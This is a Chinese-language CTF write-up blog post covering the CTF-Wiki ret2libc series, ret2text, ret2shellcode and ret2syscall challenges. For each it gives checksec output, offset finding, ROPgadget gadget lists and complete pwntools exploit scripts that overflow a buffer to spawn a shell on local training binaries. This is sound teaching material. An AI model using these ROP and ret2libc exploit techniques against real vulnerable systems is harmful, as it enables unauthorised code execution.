avatar

CTF-Wiki-ret2libc系列

0x01 ret2libc1


ida导入后的main函数如下

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}

然后我们发现有plt表中有system
在linux中用checksec查看保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

ida中按shift+F12 然后查看字符串发现/bin/sh
如果要用过gdb查找的话 只需要输入 search /bin/sh

我们通过cyclic直接算出溢出偏移

1
2
3
4
5
6
7
cyclic 500
将产生的字符串输入到程序中,通过gdb就可以得到地址
然后再通过 cyclic -l ret_addr 就可以算出偏移

经过测试
cyclic -l 0x62616164
偏移算出为 112

溢出思路

第一次gets,将ret覆盖直接到system的位置,并且传入/bin/sh的地址,由于只需要一次ret,所以我们不需要设置padding

exploit.py

1
2
3
4
5
6
7
8
from pwn import *
sh = process("./ret2libc1")
elf = ELF("ret2libc1")
system_addr = elf.plt['system']
shell_addr = 0x8049720
payload = flat(['a'*112,system_addr,'0'*4,shell_addr])
sh.sendline(payload)
sh.interactive()

0x02 ret2libc2

文件导入ida后,发现有system函数但是没有现有的"/bin/sh",所以需要通过gets函数在bbs中输入该字符串,然后跳转到system函数
获取溢出的字符串长度方法和0x01中的方法相同
由于有第二次ret,所以我们需要设置padding,也就是pop edx
查找的方法可以用ROPgadget

1
2
3
4
5
6
7
8
9
10
11
12
13
ROPgadget --binary ret2libc2 --only "pop|ret"

Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret //这个就合适,因为我们只有一个数据需要pop掉
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
import time
sh = process("./ret2libc2")
elf = ELF("ret2libc2")
system_addr = elf.plt['system']
gets_addr = elf.plt['gets']
bss_addr = elf.bss()
pop_edx = 0x0804843D
payload = flat([112*'a',gets_addr,pop_edx,bss_addr,system_addr,'a'*4,bss_addr])
sh.sendline(payload)
time.sleep(1)
sh.sendline("//bin//sh");
sh.interactive()

0x03 ret2libc3

首先我们程序拖入ida,没有发现system函数,也没有发现"/bin/sh",但是有put函数和__libc_start_main,我们可以采取溢出libc的版本号,然后算出libc中system函数的位置,然后把"/bin/sh"参数传入,其中注意再返回main函数时,请不要直接ret到main函数,不然会因为main参数未传入而导致程序崩溃,请跳转到_start函数,然后_start函数中可以传入参数并跳转到main

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level = "debug"
sh = process("ret2libc3")
elf = ELF("ret2libc3")
libc = ELF("libc6_2.27-3ubuntu1_i386.so")

__libc_start_main_addr = elf.got['__libc_start_main']
__gmon_start__addr = elf.got['__gmon_start__']
gets_addr = elf.plt['gets']
puts_addr = elf.plt['puts']
pop_edx_ret = 0x0804841d
start_addr = 0x80484d0
bss_addr = elf.bss()
libc_system_offset = libc.symbols['system']-libc.symbols['__libc_start_main']
print libc_system_offset

payload = flat(['a'*112,puts_addr,pop_edx_ret,__libc_start_main_addr,puts_addr,start_addr,__gmon_start__addr,'\n'])

sh.sendafter("it !?",payload)

ret_text = sh.recv()
libc_start_main_addr = u32(ret_text[:4])
libc_system_addr = libc_start_main_addr + 148592
print "[+]__libc_start_main : %x\n"%u32(ret_text[:4])
print "[+]__gmon_start__addr : %x\n"%u32(ret_text[4:8])

payload = flat(['a'*112,gets_addr,pop_edx_ret,bss_addr,libc_system_addr,pop_edx_ret,bss_addr])

sh.sendline(payload)
sh.sendline('//bin//sh\0')
sh.interactive()
~

0x04 ret2text

导入ida,发现system("/bin/sh")

checksec检查一下

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

只有NX保护,可以直接跳转到system函数

溢出思路

直接通过gets覆盖ret地址,直接跳转到system函数

exploit.py

1
2
3
4
5
6
7
from pwn import *
sh = process("ret2text")
elf = ELF("ret2text")
system_addr = 0x0804863A
payload = flat(['a'*112,system_addr,'a'*4])
sh.sendline(payload)
sh.interactive()

0x05 ret2shellcode

溢出思路

将shellcode写入后,因为strcpy的原因,会将shellcode保存到非栈的区域,所以直接跳转到该区域就可以执行shellcode拿到shell

exploit.py

1
2
3
4
5
6
7
from pwn import *
sh = process("./ret2shellcode")
elf = ELF("ret2shellcode")
shellcode_addr = 0x0804A080
payload = flat([asm(shellcraft.sh()),'a'*(112-len(asm(shellcraft.sh()))),shellcode_addr])
sh.sendline(payload)
sh.interactive()

0x06 ret2syscall

文件下载rop
首先我们先导入IDA,然后F5反编译

我们用gdb进行调试,首先我们先生成较多的字符串来测试它ret_address的长度

1
2
3
4
cyclic 200    //复制
gdb rop
run
quit

然后会看到它的ret_address是非正常的数据(其实是我们输入的字符串的一部分)
然后我们将它提取出来,获取它的长度

1
cyclic -l 0x62616164

这个指令输出 112,说明只要我们输入112个字符之后就可以控制住程序的流程了,想让它跳哪里就跳到哪里
但是让它跳哪里我们还不知道,所以我们需要一个工具 ROPgadget

1
ROPgadget --binary rop --ropchain

然后它会在最后构造一个python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # int 0x80

下面给出exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # int 0x80
from pwn import *
context.log_level = "debug"
sh = process("./rop")
shell_text_address = 0x080BE408
junk = 112*'a'
ret_address = 0x08048E24
payload = junk + p
sh.sendafter("do?",payload);
print sh.recv()
sh.interactive()

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/04/13/CTF-Wiki-ret2libc%E7%B3%BB%E5%88%97/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论